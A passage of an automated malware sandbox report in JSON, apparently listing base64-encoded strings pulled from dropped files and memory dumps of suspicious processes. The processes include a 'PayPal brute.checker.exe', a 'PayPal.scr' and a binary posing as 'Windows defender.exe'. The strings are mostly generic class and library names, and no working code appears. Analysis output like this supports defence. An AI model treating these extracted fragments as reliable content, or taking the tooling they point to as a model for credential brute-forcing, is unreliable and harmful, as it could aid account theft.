File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlUHJveHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlUXVldWU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlUmVhZGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlUmVjb3Jk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlUmVm","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlUmVn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlUmVnaXN0cnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlUmVwb25zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlUmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlUmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlUnVsZXM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlU2NoZW1h","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlU2VyaWFsaXplcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlU2V0dGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlU2luZ2xldG9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlU3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlU3RhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlU3RhdHVz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlU3RyYXRlZ3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlU3R1Yg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlVGFn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlVGFzaw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlVGVtcGxhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlVGVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlVGVzdHM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlVGhyZWFk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlVG9rZW4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlVG9rZW5pemVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlVmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlVmFsdWU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlVmlzaXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlV2F0Y2hlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlV3JhcHBlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlV3JpdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGaWVsZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tHZXR0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tHbG9iYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tIZWxwZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tJZGVudGlmaWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tJbXBvcnRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tJbmRleGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tJbmZv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tJbml0aWFsaXplcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tJbnRlcmNlcHRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tJbnRlcnByZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tJbnZvY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tJc3N1ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tJdGVt","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2hlY2tsYXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tMaXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tMaXN0ZW5lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tNYW5hZ2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tNYXBwZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tNYXBwaW5n","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tNZW51UmFkaW9JdGVt","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tNZXJjaGFudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tNZXNzYWdl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tNb2Nr","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tPYmplY3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tPYnNlcnZlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tPcmRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tQYWdl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tQYXJhbQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tQYXJhbXM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tQYXJzZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tQb2xpY3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tQb29s","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tQcmVkaWNhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tQcmludGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tQcm9j","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tQcm9jY2Vzb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tQcm9jZXNz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tQcm9kdWNlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tQcm9kdWN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tQcm9wZXJ0eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tQcm90b3R5cGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tQcm94eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tQdWJsaXNoZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tSZWFkZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tSZWNvcmQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tSZWdpc3RyeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tSZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tSb2xl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tSdWxl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tSdWxlcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tTY2hlbWE=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tTZXJpYWxpemVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tTZXJ2ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tTZXR0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tTaWduYXR1cmVEbGw=","type":"Unicode","source":"Runtime Data","process":"fontreview.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tTaWduYXR1cmVSb3V0aW5l","type":"Unicode","source":"Runtime Data","process":"fontreview.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tTaW5nbGV0b24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tTcGVjaWZpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tTdGF0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tTdGF0dXM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tTdHJ1Y3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tTdHVi","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tzdW0gZXJyb3IgaW4gJXMgUGFja2VkIGRhdGEgY2hlY2tzdW0gZXJyb3IgaW4gJXM=","type":"Unicode","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001DB000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tTeXN0ZW0=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tUYXNr","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tUZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tUZXN0cw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tUaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tUb2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tUb2tlbml6ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tUb2tlbk1lbWJlcnNoaXA=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tVdGlscw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tWYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tWYWx1ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2hlY2t2YWx1ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2hlY2t2aXMy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tWaXNpdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2hlY2t2aXNpdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tXYXRjaGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tXb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tXcmFwcGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tXcml0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2xhc3MgSGllcmFyY2h5IERlc2NyaXB0b3In","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGxldGUgT2JqZWN0IExvY2F0b3In","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29ycG9yYXRpb24=","type":"Unicode","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D1B000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RGF0ZVRpbWUgS2luZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"RENTLlJlY29yZHMuSW5zdGFuY2VQb2xpY3lSZWNvcmQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"RGVtdWx0aXBsZXhlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"RG9sYnkgQUMz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"ZUp5NXxYR2Jb","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"RWxlbWVudCBJRA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"RjcrM00jUWw/UA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZSB0cmFuc2Zlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"SU1BIEFEUENN","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"SU5KcHRkR3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"SXMgQ29tcHJlc3NlZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"bGFuZ3VhZ2U9IioiICAgICAgICAvPiAgICA8L2RlcGVuZGVudEFzc2VtYmx5PiAgPC9kZXBlbmRlbmN5PiAgLS0+PC9hc3NlbWJseT4=","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00844000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TGVnYWN5IEZvcm1hdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"TWFpblBhbENoYW5nZQ==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TWVkaWEgU3VidHlwZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"TWljcm9zb2Z0IENvcnBvcmF0aW9uLiBBbGwgcmlnaHRzIHJlc2VydmVkLg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"TUlNRSBUeXBl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"T2JqZWN0IGFzc2lnbm1lbnQgaW4gRk9SLi5JTiBsb29w","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"T2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGU=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"T3BlcmF0aW5nIFN5c3RlbQ==","type":"Unicode","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D1B000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UGFnZSBTaXpl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"UGFuU2xpZGVyQA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"UmVhZCBPbmx5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Um93VXBkYXRlZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"U0FNSSBjYXB0aW9ucw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"c0J1dHRvbjFDbGljaw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2NyaXB0IHN0cmVhbQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLkdlbmVyaWNzLkRlZmF1bHRz","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLkdsb2JhbGl6YXRpb24uQ3VsdHVyZUluZm8=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLlN0clV0aWxz","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLlZhcmlhbnRz","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VE9PTEJVVFRPTg==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"dHlwZSBjZGF1ZGlvIGFsaWFzIGNkIHdhaXQ=","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VHlwZSBEZXNjcmlwdG9yJw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VXNlciBkYXRh","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"VmNsLkNvbUN0cmxz","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VmNsLkdyaWRz","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VmlkZW8gRGVjb2Rlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"VmlkZW8gRW5jb2Rlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"V2ViSGVscGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"WebHelper.exe.2708157477","compromised":null,"detection_total":null,"total":null},{"value":"V2luYXBpLklwUnRyTWli","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"V2luZG93cyBNZWRpYSBBdWRpbyBQcm9mZXNzaW9uYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"V01BIFNQRElG","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"WmImPCUoOC4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null}],"interesting":[{"value":"ISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISF6enp6eg==","type":"Unicode","source":"Memory/File Scan","process":"PayPal 